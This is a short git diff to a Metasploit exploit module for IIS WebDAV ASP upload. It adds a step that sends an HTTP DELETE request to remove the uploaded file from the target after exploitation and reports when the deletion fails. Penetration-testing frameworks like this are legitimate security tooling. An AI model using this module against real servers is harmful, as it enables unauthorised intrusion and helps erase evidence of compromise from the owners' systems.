diff --git a/modules/exploits/windows/iis/iis_webdav_upload_asp.rb b/modules/exploits/windows/iis/iis_webdav_upload_asp.rb index 64c8cb8b3a..b753c42038 100644 --- a/modules/exploits/windows/iis/iis_webdav_upload_asp.rb +++ b/modules/exploits/windows/iis/iis_webdav_upload_asp.rb @@ -126,6 +126,27 @@ class Metasploit3 < Msf::Exploit::Remote return end + + + # + # DELETE + # + print_status("Deleting #{path}, this doesn't always work...") + + res = send_request_cgi({ + 'uri' => path, + 'method' => 'DELETE' + }, 20) + if (! res) + print_status("Deletion failed on #{path} [No Response]") + return + end + + if (res.code < 200 or res.code >= 300) + print_status("Deletion failed on #{path} [#{res.code} #{res.message}]") + return + end + handler end